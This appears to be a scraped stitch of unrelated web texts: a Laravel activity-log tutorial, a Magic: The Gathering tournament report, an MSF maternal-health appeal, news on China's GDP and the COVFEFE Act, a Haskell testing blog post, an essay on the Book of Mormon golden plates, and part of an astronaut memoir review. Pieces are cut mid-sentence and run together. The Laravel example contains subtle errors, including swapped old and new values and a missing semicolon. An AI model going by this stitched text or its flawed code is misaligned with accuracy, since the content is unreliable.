A neat feature of this package is that it can automatically log events such as when a model is created, updated and deleted. To make this work all you need to do is let your model use the Spatie\Activitylog\Traits\LogsActivity -trait.
As a bonus the package will also log the changed attributes for all these events when setting $logAttributes property on the model.
Here's an example:
use Illuminate \ Database \ Eloquent \ Model ; use Spatie \ Activitylog \ Traits \ LogsActivity ; class NewsItem extends Model { use LogsActivity ; protected $fillable = [ 'name', 'text' ]; protected static $logAttributes = [ 'name', 'text' ]; }
Let's see what gets logged when creating an instance of that model.
$newsItem = NewsItem::create([ 'name' => 'original name', 'text' => 'Lorum' ]); $activity = Activity::all()->last(); $activity->description; $activity->subject; $activity->changes;
Now let's update some that $newsItem.
$newsItem->name = 'updated name' $newsItem->save(); $activity = Activity::all()->last(); $activity->description; $activity->subject;
Calling $activity->changes will return this array:
[ 'attributes' => [ 'name' => 'original name', 'text' => 'Lorum', ], 'old' => [ 'name' => 'updated name', 'text' => 'Lorum', ], ];
Pretty cool, right?
Now, what happens when you call delete?
$newsItem->delete(); $activity = Activity::all()->last(); $activity->description; $activity->changes;
Read the documentation on event logging to learn how to choose the events that must be logged, how to customize the description for an event, and how to specify the attributes of which the changes must be logged.
Using multiple logs
When not specify a log name the activities will be logged on the default log.
activity()->log( 'hi' ); $lastActivity = Spatie\Activitylog\Models\Activity::all()->last(); $lastActivity->log_name;
You can specify the log on which an activity must be logged by passing the log name to the activity function:
activity( 'other-log' )->log( "hi" ); Activity::all()->last()->log_name;
Like mentioned before Activity model is just a regular Eloquent model that you know and love. So you can just use a where on it.
Activity::where( 'log_name', 'other-log' )->get();
The package also provides an inLog scope you can use:
Activity::inLog( 'other-log' )->get(); Activity::inLog( 'default', 'other-log' )->get(); Activity::inLog([ 'default', 'other-log' ])->get();
This concludes the tour of laravel-activitylog. Want to know more about the package, then head over to the documentation to learn all the options. If you find this package useful, be sure to take a look at the Laravel packages we previous made.The Hazoret of a Lifetime
Before Pro Tour Hour of Devastation, I was at exactly 20 Pro Points. I didn't have high hopes since I needed a 12-4 finish for Gold. However, I wasn't doing well on the Pro Tours, having only one money finish out of eleven Pro Tours played. I also had a lifetime win rate of less than 50%, which suggested that I was a "bad" player at the Pro Tour Level.
Two weeks prior to the Pro Tour, the Hong Kong squad (Lee Shi Tian, Wu Kon Fai, Amaz, and myself) had been working extensively on a Red-Green Eldrazi deck and it looked promising. However, when we arrived at the team house, it was dismantled on the second day of playtesting. From then on, I was basically locked on Mono Red because the deck suited my play style very well. The rest of the playtesting team were pretty much divided into Team Mono Red and Team Zombies. The Zombies matchup for Mono Red was a bit rough, because it is the only deck that doesn't die to a resolved Hazoret the Fervent. However, I didn't think that many people would play Zombies, so we believed Mono Red to be a fine choice.
After a week of playtesting at the team house, we moved to individual hotels before going down to the venue to register. Since I always appear to be "the little kid at his first Pro Tour", I was surprised when Andrew Brown (who was manning the registration booth that afternoon) handed me my badge without asking for my name. Perhaps this was an omen?
Meanwhile, we waited for everyone else to be done, while I saw many players heading to the basic land station to search for matching Mountains, which was exactly what I did ten minutes ago. At that moment, I had a hunch that Mono Red was going to be huge. After a final discussion regarding draft strategy, Jason Chung (who was in the next room) asked if I wanted to go to the games arcade. My roommate KFC (Wu Kon Fai) also wanted to go. After having a great time, we had sushi afterward and went to bed.
Day 1
I recognized a few big names at my draft pod, including Ondrej Strasky and Qi Wentao (who Top 8-ed three Grand Prix in the last three months). I drafted poorly at Grand Prix Kyoto last week, so I wasn't very confident. I hoped to escape the draft with a 2-1 record.
My roommate, KFC, had been drafting a lot of White-Black Zombies on Magic Online and he told me that if someone passes you Unraveling Mummy, you should move into the archetype, because the guy who passed it to you is almost always never White-Black. This meant that you're guaranteed a lot more good cards later on. Hence, when I saw a 5th pick Unraveling Mummy, I took his advice!
Pack 3 Pick 1 gave me an interesting choice between Splendid Ag |
erring many from seeking skilled medical attention during life-threatening obstetric emergencies.In a recent study of 34 countries, evidence showed that women at childbirth facilities often experienced sexual abuse, physical abuse (such as slapping, pinching or hitting), verbal abuse and discriminatory treatment based on age, sex, race, and socio-economic or HIV-status. This abuse exacerbates the suffering of many women who have already travelled hours or days in pain to seek help for themselves and their babies.In an effort to ease their suffering, MSF prioritizes high-quality and respectful obstetric care in 131 projects where national health systems have been debilitated by conflict and disaster. In 2013 alone, MSF assisted in 182,234 deliveries around the world from Yemen to Burundi. Because Tomorrow Needs Her examines why countless women in these settings are at times unable or unwilling to seek emergency care, even in times of extreme pain and distress.#tomorrowneedsher #womenshealth #obstetricemergenciesBecause Tomorrow Needs Her focuses on some of the impediments to women’s health, exposing injustices that disproportionately affect women and girls around the world.According to the official data from Beijing, the world's second-largest economy grew 6.9 percent in 2015 against 7.3 percent in 2014. This is the worst result for China since 1990.
“The preliminary data says the Gross Domestic Product of China amounted to 67.67 trillion yuan in 2015 (about $10.3 trillion), which is 6.9 percent more than last year. In particular, the annual GDP growth in the first quarter amounted to seven percent, in the second – seven percent, in the third - 6.9 percent and 6.8 percent in the fourth,” said a report from the National Bureau of Statistics.
Read more
The fourth quarter saw the weakest pace of expansion since the first quarter of 2009, when growth tumbled to 6.2 percent.
However, China’s overall results were still considered good by some economists despite Beijing's failure to reach its goal of seven percent growth.
"This is a good number," Jahangir Aziz, head of emerging Asia economic research at JPMorgan, told CNBC. "We've known for the last three years that the Chinese authorities are slowing down the economy. This economy is going to slow down," he said.
Chinese consumption has grown to 66.4 percent of GDP growth in 2015, compared to 46.3 percent in 2010. Retail sales have doubled from 15.7 trillion yuan ($2.39 trillion) in 2010 to 30.1 trillion yuan ($4.57 trillion) last year.
"Meanwhile, though, consumption continued to expand robustly, supported by solid wage growth. This is supporting light industry and the service sector, where pricing power vastly exceeds that in heavy industry," said Louis Kuijs, head of Asia economics at Oxford Economics.
Should you believe China's GDP numbers? Posted by Boom Bust on Monday, January 18, 2016
However, some experts doubt the data from Beijing.
"Chinese statistics are really used to project some sort of perception. We know their statistics are not very accurate. Look at the economy fourth quarter. Electricity became more negative. Housing starts last year were about 14 percent down, so half of the economy is actually negative," Andy Xie, an independent economist, told CNBC before the statistics were released. "The economy is not growing much, possibly not in recession, but certainly not growing at 6-7 percent."
China’s goal for 2016 is 6.5 percent GDP growth.A Democratic representative introduced a law on Monday to preserve US President Donald Trump's tweets.
"If the president is going to take to social media to make sudden public policy proclamations, we must ensure that these statements are documented and preserved for future reference," said Illinois Democratic Representative Mike Quigley who sponsored the bill.
The bill is known as the "Communications Over Various Feeds Electronically For Engagement" Act, (COVFEFE.) Trump used "covfefe," which does not exist in English, in a tweet which was later deleted. After confusion over the message, Trump joked about using it.
"Tweets are powerful, and the president must be held accountable for every post," Quigley said.
The act would bar Trump from deleting tweets after publishing them and make deleting tweets a violation of the Presidential Records Act.
Trump's infamous - since deleted - covfefe tweet
The White House did not immediately respond to the proposed act.
Trump commonly goes to Twitter to share his opinions or how he sees certain issues with his more than 32 million followers.
Trump has occasionally deleted tweets, including those with spelling or grammatical errors. Trump's tweets have garnered concern from other members of government.
kbd/jm (AFP, Reuters)24 Days of Hackage: tasty
Last year, when discussing QuickCheck, I said:
While we try and constrain our types as much as possible, there is always a trade off between exact types and pragmatism, not to mention that there are some invariants that are very difficult to encode in the Haskell type system. As such, without rigorous testing, there is still a risk of exceptions or unexpected behaviors at runtime.
The necessessity of testing is just as essential today. Last year we looked at a specific testing techinque, namely the use of QuickCheck, but we didn’t look at testing from the bigger perspective: how do you formulate entire test suites? Hackage has a lot of options available to us here - including test-framework, hspec, the ellusive detailed-1.0 test-suite setting of Cabal, and the newest entry to field: tasty.
For a long time, I was perfectly content with test-framework. However, as time has gone on, test-framework has failed to stay up to date. The Github repository doesn’t show much activity and is accumulating pull requests, and it’s said that the codebase itself can make it difficult to make modifications. This is not meant to be critiscism of Max - these things happen. For these reasons, and a few others, Roman Cheplyaka created his own testing framework - tasty, which is now my testing framework of choice.
There are two main parts to tasty : test trees and ingredients.
Test trees specify the hierarchy of tests. You can specify groups of tests using testGroup, or you can create individual tests using TestTree builders for specific testing tools. tasty-hunit gives us the testCase builder, while tasty-smallcheck gives us testProperty.
To illustrate the formulation of a test tree, allow me to reproduce a subset of the example in tasty s documentation:
As you can see, it’s both easy and consistent to form a test tree using different testing tools. This helps encourage us to use the right testing tool for the job. Above we see the use of both SmallCheck and HUnit.
Once you have a TestTree, you presumably want to do something with it - such as actually running the tests! That’s what ingredients are all about. Ingredients are small units of functionality that have the ability to parse command line options, and can conditionally choose to run a TestTree. tasty itself ships with an ingredient to run the tests and output pretty ANSI-coloured terminal output, and also an ingredient that simply lists the names of all tests.
Ingredients provide an extension point for tasty, which is one area where this framework trumps the competition. As a case in point, I wanted the ability to run tests on our Jenkins continuous integration server - which expects test runs to produce an XML file in a specific schema. test-framework ships with this baked right into the library itself, but for tasty I was able to write my own ingredient that observes a test run and renders XML as it goes. And to top it off, it took me little more than 100 lines of code and a few hours of hacking (the result is tasty-ant-xml ).
tasty ’s interpretation of test trees is also a massive productivity win when we’re developing, as we can run specific parts of the tree by using test patterns. Test patterns let us run only test cases who’s name match a specific pattern, with the ability to match the test hierarchy too. For example, if you’re tweaking the serialisation format of a library you might run with --pattern 'Serialization/**' to avoid the longer IO tests. Or maybe you have added a new PostgreSQL database backend, and are only interested in tests that refer to that, so you would use --patern **/*PostgreSQL*/**.
Roman has already done a lot of work getting tasty usable with the other big testing tools. Specifically, right now the tasty suite (menu?) consists of:
tasty-hunit — for unit tests (based on HUnit)
— for unit tests (based on HUnit) tasty-golden — for golden tests, which are unit tests whose results are kept in files
— for golden tests, which are unit tests whose results are kept in files tasty-smallcheck — exhaustive property-based testing (based on smallcheck)
— exhaustive property-based testing (based on smallcheck) tasty-quickcheck — for randomized property-based testing (based on QuickCheck)
— for randomized property-based testing (based on QuickCheck) tasty-hspec — for Hspec tests
— for Hspec tests tasty-ant-xml — to run tests on Jenkins
— to run tests on Jenkins tasty-th — to automatically build the test hierachy from names that are in scope.
Code for today’s example can be found in my blog’s Github repository.
You can contact me via email at ollie@ocharles.org.uk or tweet to me @acid2. I share almost all of my work at GitHub. This post is licensed under a Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported License.Is it necessary to have the golden plates in our possession to stand as a witness of the truth?
Literal Belief:
At times, the testimony of the witnesses is proclaimed as evidence and proof of the truthfulness of the work. At other times, LDS members are being warned that testimonies should never be based on physical evidence or historical evidence.
“David Whitmer was out of the Church, but he never denied his testimony of the angel’s visitation, of handling the golden plates, or of the truthfulness of the Book of Mormon. Hearing with my own ears this remarkable experience directly from Brother Moyle’s lips had a powerful, confirming effect upon my growing testimony. Having heard it, I felt it was binding upon me.”– “A Growing Testimony”- James E. Faust- Oct 2000
“Witnesses, even witnesses who were for a time hostile to Joseph, testified to their death that they had seen an angel and had handled the plates. “They have been shown unto us by the power of God, and not of man,” they declared. ‘Wherefore we know of a surety that the work is true.’”– “Safety for the Soul”- Jeffrey R. Holland- Oct 2009
“I remember an experience that I had as mission president some years ago when I presided over the affairs of the Church in Eastern Canada. I met with about 30 different ministers of different religions and then I let them ask me questions and the very first question I was asked was by a fine minister who said, “Mr. Ballard, if you just give us the gold plates and let us see that they exist, then we would know that the Book of Mormon is true.” And I looked at him and I said, “Father, you know better than that. You’re a man of the cloth. You know that God has never revealed religious truth to the heart and soul of a man or a woman except by the power of the spirit. Now you could have those plates, you could turn the pages, you could look at it, you could hold it, and you wouldn’t know any more after that experience whether or not the book is true than you would have before.”–Transcript of Interview with Elder M. Russell Ballard
“A saving testimony of the Book of Mormon will never come from a spectacular historical or archaeological find. If the Lord meant for our testimonies to be based on physical, historical evidence other than scripture, he would send Moroni with the golden plates.“– “The Elusive Balance”-Bishop Glenn L. Pace- Feb 1988
“This revelation [D&C 5:10] declared that this generation shall have the word of the Lord through Joseph Smith. There may be some who think that this is unreasonable, and the Lord should use some miraculous means to convert the world. Frequently when strangers … hear the story of the coming forth of the Book of Mormon, they ask if the plates are in some museum where they may be seen. Some of them with some scientific training, express themselves to the effect that if the scholars could see and examine the plates and learn to read them, they would then bear witness to the truth of the Book of Mormon and the veracity of Joseph Smith, and the whole world would then be converted. When they are informed that the angel took the plates back again, they turn away in their skepticism, shaking their heads. But the Lord has said: ‘For my thoughts are not your thoughts, neither are your ways my ways, saith the Lord. For as the heavens are higher than the earth, so are my ways higher than your ways, and my thoughts than your thoughts.’ (Isa. 55:8–9.) We have learned that people are not converted by miracles or by examining records. If the Lord had placed the plates where the scholars could examine them, they would have scoffed at them just as much as they do today. People are converted by their hearts being penetrated by the Spirit of the Lord when they humbly hearken to the testimonies of the Lord’s servants. The Jews witnessed the miracles of our Lord, but this did not prevent them from crying out against him and having him crucified.”- Joseph Fielding Smith, Church History and Modern Revelation, 4 vols. [Salt Lake City: The Church of Jesus Christ of Latter-day Saints, 1946-1949], 1: 36 – 37.)
He rarely if ever actually had the plates with him; he couldn’t read what was on them except through revelation anyway, and he could receive revelation (via the “interpreters”) just as easily without the plates as with them. (So why were the plates necessary? Perhaps, among other things, to reassure him and the witnesses who saw and testified of them — and, thus also, us — that he was dealing with something objectively real and external to himself.)- Daniel Peterson- “Defending the Faith: Joseph, the stone and the hat: Why it all matters” Deseret News March 2015
Daniel Peterson: He could be lying, he could have faked the plates, that is Dan Vogel’s position. I don’t see it… Dan Wotherspoon: The plates are a scandal, in the sense of, you have to deal with them. It takes it into a different realm. Daniel Peterson: I remember a conversation with a friend of mine, who has since left the church. A very bright guy whom I like very much, but he said at one point “You know, the plates don’t seem to have been used in the translation process.” And that’s certainly true in a lot of cases, they were in another room or something. He said “What function do you think they served?” Well, my immediate reaction to him was, well, I think for one thing, they are an absolutely indigestible lump in the throat of people like you, who want to say that it was just Joseph Smith imagining things. They just rule that out if they really existed. Either he deliberately, or someone deliberately made them or something, but he’s not just in la la land. There’s a 60 pound material object there, and if you trust some of the other witnesses, there were other objects, lots of plates, sword of Laban, the Liahona, the breast plate. I mean these are being treated fairly matter of factly. Lucy Mack Smith is holding it, and according to some accounts I almost think that she saw it, uncovered, the breast plate and everything. Where do these things come from? It’s hard to explain them away as just, well it’s impossible I think, to explain them away as just hallucination. – Daniel Peterson Mormon Stories interview with Dan Wotherspoon
I am unaware of any explanations given by church authorities or defenders of the faith as to WHY the plates were given back to the angel (presumably Moroni). There is no reason given in the History of the Church either. It is presumed that most members believe it is somehow a test of faith from God, to believe in golden plates that are not presently in our possession.
Non-Literal Belief:
There are couple of schools of thought for non-literal belief. To some, they consider the Book of Mormon scripture and the question of historicity or physical golden plates is unimportant, not very important or perhaps even uninteresting. Others believe that the golden plates were not a genuine ancient artifact but something Joseph may have “materialized,” while at the same time possessing a physical artifact of his own making.
Ann Taves is a Non-Mormon scholar who believes that stating Joseph was a true prophet because the plates existed or that Joseph was a fraud, or delusional because they didn’t exist, is too simplistic. She believes that Joseph could have been a sincere visionary who “materialized” the golden plates similar to how the Eucharist is materialized in Catholicism to become the true body of Christ.
“If we consider Joseph’s directive, the obedient response of insiders, and their willingness to protect the plates from skeptical outsiders, we can envision an alternative way to view the materialization of the plates that involved neither recovery and translation in any usual sense nor necessarily deception or fraud, but rather a process through which the power of revelatory dream-visions, in ancient inhabitants of the Americas, and in golden records buried in a hillside came to believe that a material object covered by a cloth or hidden in a box were the ancient plates revealed to Joseph Smith by the ancient Nephite, Moroni. Either/or views of the plates rest on a narrow conception of the materialization process, such that he either dug them up or he did not. Highlighting the crucial role played by those who believed in the reality of the ancient plates suggests a broader view that embeds the recovery of the plates in a process of materialization that stretched (at least) from Smith’s dream vision in 1823 to the publication of the Book of Mormon in 1830. Comparison of the golden plates and the Eucharist allows us to consider the possibility that Smith viewed something that he made – metal plates – as a vehicle through which something sacred — the ancient golden plates — could be made (really) present. In both cases, the sacred character is visible only to those who believe. In both cases, the materialization unfolds in accord with a story. In the case of the Eucharist, the story of the last supper; in the case of the Mormon Prophet, the story of the angel and the buried plates. Moreover, in both cases, believers claim that this is not just an enactment. The priest doesn’t just pretend that the wafer is the body of Christ. Standing in for Christ, he says, referring to the wafer, “this is my body.” Nor did Smith claim that the plates were a representation of ancient gold plates, he claimed that they really were. In much the way that Jesus is said to have held up human made bread and said to his disciples “this is my body,” Joseph Smith may have made plates, placed them in a box, and said to his family: these are the golden plates. While some in each tradition may view these statements as figurative, others – orthodox Catholics and orthodox LDS – might view them as more literally true in light of their belief in the power of divinity to manifest itself in material bodies and objects.”– “History and the Claims of Revelation: Joseph Smith and the Materialization of the Golden Plates”- Ann Taves
Non-Belief:
If we currently had the golden plates in our possession it would certainly serve as an important witness to the authenticity of Mormonism. The plates could be subject to chemical and electronic analyses, similar to what was done with the Kinderhook Plates. If authentic to the time period indicated in the Book of Mormon narrative, this would be important evidence. The characters on the plates could be examined and verified that they were indeed some type of “Reformed Egyptian” that could probably not be deciphered by Egyptologists. Certainly this would not make believers out of everyone, because some individuals would not accept the authenticity of Mormonism no matter what evidence is provided, the same way some believers accept the authenticity of Mormonism no matter what evidence is provided to the contrary. Most assuredly, however, if we actually had the plates in our possession, it would setup the scenario that Elder Holland talked about when referring to the text of the Book of Mormon:
“…if that is the case, then such a person, elect or otherwise, has been deceived; and if he or she leaves this Church, it must be done by crawling over or under or around the Book of Mormon [Golden Plates] to make that exit. In that sense the book is what Christ Himself was said to be: “a stone of stumbling, … a rock of offence,” a barrier in the path of one who wishes not to believe in this work.” –“Safety for the Soul”- Elder Holland– strikethrough and brackets added by me
There is abundant, credible evidence that the Book of Mormon text is a 19th century product engineered by Joseph Smith as sole author, and therefore it’s not that difficult to crawl over, under, or around it, but how on earth could one explain away the existence of authentically ancient golden plates?
Even more troubling, if the Book of Mormon narrative is to be believed, great care was given to the production and custody of these plates. It is accepted by most, if not all, believing and non-believing scholars that the entire text of the Book of Mormon we have today was created by Joseph Smith dictating the words while looking at his peep stone in the crown of a hat and not consulting the actual plates, at all. Some surmise that the first 116 pages that were lost (The Book of Lehi) were dictated using the Urim and Thummin, but some believing scholars -Michael Quinn, Royal Skousen- and many non-believing scholars think the seer stone was used the entire time. Joseph was behind a curtain some of that time so we don’t really know for sure what source material he was using or what methods he was employing, but Martin Harris was his scribe for the first 116 pages. We do know that when Martin Harris was able to actually see Joseph Translating, he stated he was using the seer stone. Again, most scholars agree that the entire Book of Mormon as we know it today was produced without consulting the plates at all.
“Martin Harris related an incident that occurred during the time that he wrote that portion of the translation of the Book of Mormon which he was favored to write direct from the mouth of the Prophet Joseph Smith. He said that the Prophet possessed a seerstone, by which he was enabled to translate as well as from the Urim and Thummim, and for convenience he then used the seerstone. Martin explained the translation as follows: By aid of the seerstone, sentences would appear and were read by the Prophet and written by Martin, and when finished he would say, “Written,” and if correctly written, that sentence would disappear and another appear in its place, but if not written correctly it remained until corrected, so that the translation was just as it was engraven on the plates, precisely in the language then used.”– Elder Edward Stevenson to Editor of the Deseret News, cit. “One of the Three Witnesses,” Millennial Star 44 (30 Jan 1882):78-79; (6 Feb 1882):86-87
“I really don’t know how the published text relates to the text on the plates, considering that Joseph did not look at the plates as he dictated the book. There are various ways of explaining that, but I do think the Book of Mormon is a marvelous creation and far beyond Joseph Smith’s natural powers in 1829.”– Richard Bushman- Reddit AMA (ask me anything)
Jennifer Napier-Pearce: (reading listener question)- “If the golden plates were not necessary, and not even used to translate the Book of Mormon, what is the point of having them? Why did Moroni and Mormon (two prophets in the Book of Mormon), go to so much trouble to write them and transport them all the way to upstate New York? Richard Bushman: “I think that’s the question of the moment. I don’t think we have a good answer to that. It’s quite remarkable. All this effort to preserve them all those years. Why do we have to have them? You know Joseph Smith kept them under his bed, in his bedroom. Every morning he would get them from under his bed and put them on the table, wrapped in cloth, and then proceed to translate. It implies that their presence was of some significance, that maybe it was part of the technology of revelation, maybe it was inspiration, maybe it was respect. It’s very hard to say, but they’re treated as if they were important but just how much they were a part of the translation process itself, I don’t know that anyone has an answer to that right now“-Richard Bushman on Trib Talk
“In writing for J[oseph]. S[mith]. I frequently wrote for day after day, often he sitting at the table close by him, he sitting with his face bu=ried in his hat, with the stone in it and dictating hour after hour, with nothing between us. He had neither mss [manuscript] nor book to read from. If he had had any=thing of the Kind he could not have concealed it from me. The plates often lay on the table without any attempt at con=cealment, wrapped in a small linen <table> cloth, which I had given him to fold them in.”- Emma Smith Bidamon Interview with Joseph Smith III, February 1879 in Dan Vogel- “Early Mormon Documents Volume 1”- page 539
“Soon after this, I was informed they had brought a wonderful book of Plates down with them. I was shown a box in which it is said they were contained, which had to all appearances, been used as a glass box of the common window glass. I was allowed to feel the weight of the box, and they gave me to understand, that the book of plates was then in the box—into which, however, I was not allowed to look. I inquired of Joseph Smith Jr., who was to be the first who would be allowed to see the Book of Plates? He said it was a young child. After this, I became dissatisfied, and informed him that if there was any thing in my house of that description, which I could not be allowed to see, he must take it away; if he did not, I was determined to see it. After that, the Plates were said to be hid in the woods.” “The manner in which he pretended to read and interpret, was the same as when he looked for the money-diggers, with the stone in his hat, and his hat over his face, while the Book of Plates were at the same time hid in the woods!“- Isaac Hale (father of Emma Smith) affidavit- sworn before Charles Dimon- Justice of the Peace
The golden plates along with the Urim and Thummim were passed down generation after generation, watched over by God for 1000 years. They were buried in the Hill Cumorah and God watched over them for another 1400 years. Joseph dug them up, ran through the woods frantically to escape his enemies, and had to be constantly vigilant about their safekeeping. An all-loving, tender, merciful God told Joseph he would destroy him if he allowed anyone to see the plates. These plates were precious. Laban had to be killed for the brass plates so the Nephites had access to God’s word and to enable them to inscribe Isaiahs’ words onto the golden plates. So Joseph uses a peep stone he puts in the bottom of his hat and “channels” the entire Book of Mormon as we know it today WITHOUT EVEN LOOKING AT THESE PRECIOUS PRESERVED PLATES, and often times the plates were not even in the same room but were hidden away in the woods. This same peep stone was used in his treasure digging expeditions, none of which were successful by the way, because right as he was about to capture the treasure, it moved deeper down into the earth. The treasure was “slippery.” When the “translation” process was finished the angel took these precious plates back and no one can explain why.
Was there a real artifact, and was it ancient or modern?
Literal Belief:
Yes, there were actual plates, an ancient authentic artifact, transcribed by Book of Mormon prophets, and preserved for Joseph Smith, and translated by the “gift and power of God.”
“The historians’ problem is that the people around Joseph consistently wrote and acted as if he had the Book of Mormon plates. Emma Smith and Oliver Cowdery, who both lived in the house where Joseph worked, never questioned the existence of the plates. Nor did Joseph Smith Sr., Lucy Smith, or David Whitmer. Skeptics have to minimize quotations from the participants or else the plates take on all too real a life.” “One fact in Joseph Smith’s history may prevent his complete absorption into the muffling embrace of liberal tolerance, and that fact is the existence of the gold plates…Most of the Doctrine and Covenants fits within the limits of believable revelation- though privately the readers may feel the words came from no greater distance than Joseph’s own subconscious. But gold plates, sitting on the table as Joseph translated, shown to witnesses to feel and examine, touched by Emma as she cleaned the house? Such a tangible artifact is hard to attribute to a standard religious experience, even in an extraordinary person such as Joseph. With the gold plates, we cross into the realm of deception or psychotic delusion. In the minds of many readers, to see and touch forty pounds of gold plates with ancient writings on them, people had to be either tricked or confused. Joseph turns back into the impostor or self-deluded fanatic.” “Here the old issue, then, reasserts itself. The broad-minded reader has to ask, Can it be possible that Joseph Smith did receive the gold plates from an angel? Was he guided from heaven, or was he not? There is no hiding behind the marvelous workings of the human spirit in explaining the plates. Either something fishy was going on, or Joseph did have a visitor from heaven.”- Richard Bushman. 2004. “Believing History: Latter-day Saint Essays”
“With those few words spoken to Joseph Smith, the angel managed to convey something of the complexity and variability of the roles this “golden bible” would play. First, Moroni emphasized the rootedness of this new revelation from Heaven in artifactual reality. Referring to a book actually “deposited” in the earth, and consisting of a physical, tangible medium—actual gold plates—lifts the revelatory experience beyond the nebulous stuff of visions and alters the whole dynamic of the religious claims Smith would be making. It shifts the debate—at least partly—from the realm of interiority and subjectivity toward that of empiricism and objectivity.” “Paul himself referred to one of his own experiences as being “in the body, or out of the body, I cannot tell” (2 Cor. 12:3). He obviously considered such a distinction irrelevant to the validity of his experience and the reality of what he saw. It is hard to imagine a precedent more like Harris’s own versions in which he emphatically asserts until the day of his death the actuality of the angel who “came down from heaven” and who “brought and laid [the plates] before our eyes, that we beheld and saw,” while also reporting, according to others, that he “never claimed to have seen them with his natural eyes, only with spiritual vision.” In the case of the Book of Mormon, the distinction is ultimately irrelevant. Why, one can fairly ask, should it be necessary to spiritualize what are, in essence, presented as archaeological artifacts? Dream-visions may be in the mind of the beholder, but gold plates are not subject to such facile psychologizing. They were, in the angel’s words, buried in a nearby hillside, not in Joseph’s psyche or religious unconscious, and they chronicle a history of this hemisphere, not a heavenly city to come. As such, the claims and experiences of the prophet are thrust irretrievably into the public sphere, no longer subject to his private acts of interpretation alone. It is this fact, the intrusion of Joseph’s message into the realm of the concrete, historical, and empirical, that dramatically alters the terms by which the public will engage this new religious phenomenon.”- Terryl Givens, 2002. “By the Hand of Mormon”
“Some argue that since we lack the original plates from which the Book of Mormon was translated, it should be read as a 19th-century English-language text rather than as an ancient one. But scholars routinely test the claims to historicity of translated documents for which no early original-language manuscripts exist and then, if satisfied of their authenticity, regularly use them as valuable scholarly resources for understanding the ancient world.”–Daniel Peterson- “Defending the Faith: But where are the Golden Plates?”- Deseret News Feb 2015
“I would hope that (the golden plates) could be in dialogue with the Shroud of Turin and the Arc of the Covenant, the Holy Grail, all the great religious emblems and material objects that down through history shaped things,” Bushman continued. “That they would become part of a larger dialogue, not just a little religion isolated in the United States, but one of the world religious cultures. In his presentation, Bushman outlined the effect of the golden plates on the culture of Smith’s time, as well as their extended influence on the world today, found in beliefs, imagination, artwork, Broadway plays and public discourse. He said although their physical existence is in dispute, the plates have had a definite presence in the imagination and culture of Mormons and non-Mormons alike.” “The plates walk a fine line between magic and religion, between enchantment and disenchantment, between fraud and religious genius,” Bushman said during his presentation. “They make the claim that the supernatural has entered into the natural world.” “He said the plates can be seen as either “the fatal flaw” in Joseph Smith’s story, or as “the most palpable evidence of its authenticity.” Bushman suggested that perhaps it is the plates’ very elusiveness that has made them the subject of so much debate and kept them in the realm of shared cultural experience long after Smith’s death.”- Richard Bushman- Utah State’s Eccles Science Learning Center, March 22, 2012
“Our primary focus in studying the Book of Mormon should be on the principles of the gospel anyway, not on the process by which the book came forth. Yet because its coming so amply fulfilled Isaiah’s prophecy of a `marvelous work and a wonder,’ we may find strengthened faith in considering how marvelous and wondrous the translation was…”-Neal A. Maxwell– Ensign, January 1997, pg. 39
Non-literal Belief:
This question may not be interesting or important to those who view the Book of Mormon as scripture, regardless of whether it is of ancient origin or not. To others, there is perhaps a “middle-way” explanation where Joseph Smith is neither a true prophet or a delusional fraud. Both Dan Vogel and Ann Taves take the view that Joseph was a “pious fraud.” That is, he may have employed some fraudulent means but he was sincere and the ends justified the means, as he was going about God’s work.
“Explanations of the gold plates to date tend to presuppose an either/or choice: ancient golden plates either existed or they did not. If they existed, then Smith was who he claimed to be. If they did not and Smith knew it, then he must have consciously deceived his followers in order to convince them that they existed. Alternatively, if Smith believed there were plates when in fact there were not, then he was deluded. Although some non-believing historians have chosen to bracket the contentious issue of the golden plates, others – both non-Mormon and ex- Mormon — forthrightly acknowledge their belief that there were no actual gold plates; indeed, this is so obvious to some historians that they are taken aback when they discover that many Mormon intellectuals believe there were.” “In keeping with these either/or choices, non-believing contemporaries of the Smiths and non-believing historians in the present typically explain Smith’s claims regarding the plates in terms of deception, fantasy, or a prank that got out of hand.” “Skeptics in my view have been too quick to jump from the assumption that there were no plates to the conclusion that Joseph Smith was either deluded or a fraud. In doing so, they sidestep the most interesting (and challenging) questions. For the sake of argument, I want to assume that there were no plates or at least no ancient golden plates and at the same time take seriously believers’ claim that Smith was not a fraud. If we start with those premises, then we have to explain how the plates might have become real for Smith as well as his followers. The challenge, however, is not just to explain how they might have become real for Smith, but how they might have become real for him in some non-delusory sense. This shift in premises forces us to consider a greater range of explanatory possibilities and has the potential to expand our understanding of the way that new religious movements emerge.”- “History and the Claims of Revelation: Joseph Smith and the Materialization of the Golden Plates”- Ann Taves
“The most obvious solution to Shipps’s puzzle is to suggest that Smith was a “pious deceiver” or “sincere fraud,” someone who deceives to achieve holy objectives. Admittedly, the terms “pious deceiver/’ “sincere fraud,” and the like are not wholly satisfying. Nevertheless, “pious” connotes a sincere religious conviction, and my use of “fraud” or “deceiver” is limited to describing some of Smith’s activities—the possible construction of plates from tin as well as his claim that the Book of Mormon is a translation of an anciently engraved record, for example—not to Smith’s perception of himself. In other words, Smith may have engaged in fraudulent activities while at the same time believing that he had been called of God to preach repentance in the most effective way possible. In fact, this was the thesis of Lutheran minister Robert N. Hullinger’s 1980 book, Mormon Answer to Skepticism: Why Joseph Smith Wrote the Book of Mormon. Responding to Shipps’s complaint that the Book of Mormon |
S-131, one the last shuttle missions, in 2010. He had his share of firsts, like being the first native of Nebraska to fly in space, but there wasn’t that much, good or bad, that caused him to stand out among his astronaut peers. Fortunately, his memoir, The Ordinary Spaceman, is not an ordinary astronaut biography. At first, the book does have the feel of a typical astronaut biography. Anderson recalls his childhood in Nebraska, where he says he first dreamed of becoming an astronaut watching the Apollo 8 mission as a nine-year-old (his mother, he claims, believes was interested even earlier than that.) That led to degrees in physics and aerospace engineering, then an engineering job at the Johnson Space Center, where he soon started applying for the astronaut corps. He writes that he applied fifteen times before he was finally selected in 1998. That works out to one application a year starting in the early 1980s, although NASA did not select fifteen astronaut classes during this time. He doesn’t go into detail about each attempt, but clearly he was motivated to keep trying. The book gets more interesting, and less ordinary, when Anderson becomes an astronaut. He recounts the challenges of astronaut training, in both the US and Russia with candor. He acknowledges that, during his time on the ISS, he aggravated mission controllers: he thought he was trying to point out inefficiencies and ways things could be done better, while those on the ground couldn’t understand why he simply couldn’t follow instructions, leading to tensions. He includes in the book an assessment of his ISS mission by the Astronaut Evaluation Board: “He tended to be a bit too casual with Mission Control, and sometimes too frank, and he could have been more patient during stressful times.” He earned back trust among NASA management to earn a second trip to space on STS-131. He nearly spoiled it, though, 